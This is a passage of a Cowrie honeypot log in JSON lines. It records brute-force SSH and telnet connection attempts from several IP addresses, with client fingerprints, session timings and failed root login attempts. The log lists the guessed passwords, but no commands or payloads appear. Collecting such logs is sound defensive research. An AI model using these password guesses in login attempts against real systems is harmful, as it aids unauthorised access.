-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:51.457335Z","src_ip":"109.172.54.111","session":"2c1613e2dac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michaela","message":"login attempt [root/michaela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:51.747878Z","src_ip":"109.172.54.111","session":"2c1613e2dac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:30:52.850554Z","src_ip":"109.172.54.111","session":"2c1613e2dac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38244,"dst_ip":"159.203.135.109","dst_port":23,"session":"c51af35b98f7","protocol":"telnet","message":"New connection: 135.148.14.151:38244 (159.203.135.109:23) [session: c51af35b98f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:00.888341Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38056,"dst_ip":"10.17.0.5","dst_port":22,"session":"6499a44e68be","protocol":"ssh","message":"New connection: 103.15.222.183:38056 (10.17.0.5:22) [session: 6499a44e68be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:03.711286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:03.716091Z","src_ip":"103.15.222.183","session":"6499a44e68be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:03.967240Z","src_ip":"103.15.222.183","session":"6499a44e68be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ganjubas","message":"login attempt [root/ganjubas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:04.721080Z","src_ip":"103.15.222.183","session":"6499a44e68be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:05.973394Z","src_ip":"103.15.222.183","session":"6499a44e68be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":35450,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e73623da745","protocol":"ssh","message":"New connection: 185.239.84.249:35450 (159.203.135.109:22) [session: 3e73623da745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:17.944299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:17.949321Z","src_ip":"185.239.84.249","session":"3e73623da745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:18.159764Z","src_ip":"185.239.84.249","session":"3e73623da745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8i9o0p-[","message":"login attempt [root/8i9o0p-[] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:18.786516Z","src_ip":"185.239.84.249","session":"3e73623da745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:20.000670Z","src_ip":"185.239.84.249","session":"3e73623da745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.2769718170166,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:36.165176Z","src_ip":"135.148.14.151","session":"c51af35b98f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55768,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9131dbfc3e3","protocol":"telnet","message":"New connection: 135.148.14.151:55768 (159.203.135.109:23) [session: d9131dbfc3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:40.727214Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56618,"dst_ip":"159.203.135.109","dst_port":23,"session":"800eb724066c","protocol":"telnet","message":"New connection: 135.148.14.151:56618 (159.203.135.109:23) [session: 800eb724066c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:31:42.743910Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":35736,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbca729e5e0b","protocol":"ssh","message":"New connection: 103.27.238.114:35736 (10.17.0.5:22) [session: cbca729e5e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:03.115496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:03.125422Z","src_ip":"103.27.238.114","session":"cbca729e5e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:03.390831Z","src_ip":"103.27.238.114","session":"cbca729e5e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":39116,"dst_ip":"159.203.135.109","dst_port":22,"session":"08cfab8a35ff","protocol":"ssh","message":"New connection: 161.97.102.228:39116 (159.203.135.109:22) [session: 08cfab8a35ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:03.490794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:03.516289Z","src_ip":"161.97.102.228","session":"08cfab8a35ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:03.631330Z","src_ip":"161.97.102.228","session":"08cfab8a35ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa123456","message":"login attempt [root/aaa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:04.021154Z","src_ip":"161.97.102.228","session":"08cfab8a35ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120589","message":"login attempt [root/120589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:04.173724Z","src_ip":"103.27.238.114","session":"cbca729e5e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:05.118313Z","src_ip":"161.97.102.228","session":"08cfab8a35ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:05.435970Z","src_ip":"103.27.238.114","session":"cbca729e5e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.648749589920044,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:15.375873Z","src_ip":"135.148.14.151","session":"d9131dbfc3e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.14885187149048,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:20.892648Z","src_ip":"135.148.14.151","session":"800eb724066c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":33348,"dst_ip":"10.17.0.5","dst_port":22,"session":"09911f86677b","protocol":"ssh","message":"New connection: 128.78.143.196:33348 (10.17.0.5:22) [session: 09911f86677b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:36.797998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:36.803796Z","src_ip":"128.78.143.196","session":"09911f86677b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:36.901078Z","src_ip":"128.78.143.196","session":"09911f86677b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holu","password":"holu","message":"login attempt [holu/holu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:37.316154Z","src_ip":"128.78.143.196","session":"09911f86677b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:38.415776Z","src_ip":"128.78.143.196","session":"09911f86677b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":43132,"dst_ip":"159.203.135.109","dst_port":22,"session":"92b99e42d4b9","protocol":"ssh","message":"New connection: 185.239.84.249:43132 (159.203.135.109:22) [session: 92b99e42d4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:45.730584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:45.736470Z","src_ip":"185.239.84.249","session":"92b99e42d4b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:45.945290Z","src_ip":"185.239.84.249","session":"92b99e42d4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,","message":"login attempt [root/zxcvbnm,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:46.569326Z","src_ip":"185.239.84.249","session":"92b99e42d4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:47.781240Z","src_ip":"185.239.84.249","session":"92b99e42d4b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":40918,"dst_ip":"10.17.0.5","dst_port":22,"session":"771d495317b8","protocol":"ssh","message":"New connection: 103.149.28.157:40918 (10.17.0.5:22) [session: 771d495317b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:48.175591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:48.180022Z","src_ip":"103.149.28.157","session":"771d495317b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:48.432063Z","src_ip":"103.149.28.157","session":"771d495317b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135790a","message":"login attempt [root/135790a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:49.187726Z","src_ip":"103.149.28.157","session":"771d495317b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:32:50.445297Z","src_ip":"103.149.28.157","session":"771d495317b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54260,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb31bb39a256","protocol":"telnet","message":"New connection: 135.148.14.151:54260 (159.203.135.109:23) [session: cb31bb39a256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:15.365047Z"}
{"eventid":"cowrie.session.closed","duration":0.005353450775146484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:15.370285Z","src_ip":"135.148.14.151","session":"cb31bb39a256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46920,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2d4408ba15","protocol":"telnet","message":"New connection: 135.148.14.151:46920 (159.203.135.109:23) [session: 1e2d4408ba15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:30.464889Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46938,"dst_ip":"159.203.135.109","dst_port":23,"session":"5248f2f110a3","protocol":"telnet","message":"New connection: 135.148.14.151:46938 (159.203.135.109:23) [session: 5248f2f110a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:30.511690Z"}
